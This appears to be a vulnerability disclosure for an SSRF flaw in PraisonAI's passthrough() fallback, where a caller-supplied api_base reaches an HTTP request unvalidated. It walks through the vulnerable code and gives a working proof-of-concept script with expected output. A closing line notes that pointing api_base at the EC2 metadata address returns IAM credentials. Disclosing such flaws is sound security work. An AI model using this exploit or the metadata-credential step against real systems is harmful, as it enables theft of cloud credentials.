PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials